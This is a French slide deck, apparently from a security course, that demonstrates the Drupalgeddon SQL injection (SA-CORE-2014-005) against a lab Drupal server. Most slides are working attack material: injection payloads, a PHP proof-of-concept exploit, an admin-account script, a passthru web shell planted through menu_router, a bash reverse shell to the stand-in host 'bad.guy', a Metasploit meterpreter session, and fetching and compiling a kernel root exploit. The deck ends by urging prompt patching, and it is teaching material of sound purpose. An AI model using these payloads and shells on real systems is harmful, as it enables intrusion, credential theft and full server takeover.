## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->


## système vulnérable

* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/)
  * paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
    * le couper juste après la conf du DHCP à  l'install
  * à l'installation
    * surtout pas d'upgrade pour garder un kernel vulnérable

**Nous disposons d'une machine vulnérable à un**

**[Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)**


## Drupal vulnérable

* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704)

```shell
$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files
```

* les images [ova sont là](https://gitlab.com/mazenovi/webSec)


## Trouver un système vulnérable sur le www

[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)

[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)


## Trouver un système vulnérable sur le www

* ne filtrer que les drupal vulnérables
  * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)

```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```


## La faille

* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
  * Version: 7.x < 7.32
  * Date: 2014-October-15
  * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)


## La faille

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  foreach ($data as $i => $value) {   
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
  * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP


## La faille

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  /* patched version begin */
  foreach (array_values($data) as $i => $value) {
  /* patched version end */
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique

Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
  - code drupal compliqué ou mal fait


## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques


## Timeline côté attaquant

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…


## Exploitation manuelle

remplacer

```html
<input id="edit-name" name="name" type="text">
```

par

```html
<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```

![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->

Note:
- mettre un mot de passe


## PoC

[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)

```php
$url = $argv[1];
$sql = $argv[2];
$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);

//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```

```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```


## Admin user

* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/)

```shell
python2 drup4l_7_31_SqlInj_add_admin.py -t  http://drup.al -u 1337 -p 1337
```
* représente 26% d'utilisation de la faille
  * industrialisé pour vendre du viagra

![viagra](images/drupalgeddon/viagra.jpg "viagra")<!-- .element class="fragment roll-in" -->


## Backdoor

rerésente 68% des attaques

Simple backdoor shell

```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
  echo "<pre>";
  passthru($_REQUEST["cmd"]);
  die;
}
phpinfo();';
```

* [passthru()](http://php.net/manual/fr/function.passthru.php)

* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)


## Backdoor

* Architecture Drupal
  * menu_router
    * un url = un callback + un tableau d'arguments sérialisés

```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```

Payload

```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```

[http://drup.al/backdoor](http://drup.al/backdoor)

Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
  - automatisable à souhait


## exploitation

```shell
$ php attack/exploit.php 'http://drup.al'
```

* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
  * affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
  * affiche les paramètres SQL


## exploitation

```shell
nc -lvvp 1337
```

met le poste de l'attaquant en écoute sur le port 1337

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```

en version encodée

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
```

* connecte le serveur sur l'IP de l'attaquant

Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
  - analyse des ping wireshark
  - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
    - sur ma maquette ca marche aussi sur le port 80 ...


## metasploit

[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb)

```shell
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[&#10035;] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data
```

![YES](images/drupalgeddon/yes.jpg "YES")<!-- .element class="fragment roll-in" width="200px"-->

Note:
- l'autocomplétion avec tabulation
- Port à rerouter of course


## escalade de privilèges

* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
  * environ tous les 2 ans
    * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
  * fonctionne sur les archi 64bits uniquement
  * kernel de 2.6.37 à 3.8.10

```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```


## W00T

![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->


## Moralité

* un malheur n'arrive jamais seul
  * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
  * système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
  * réactives
  * préoccupées par la sécurité
* bien suivre les mises à jour des produits
  * et patcher asap quand nécessaire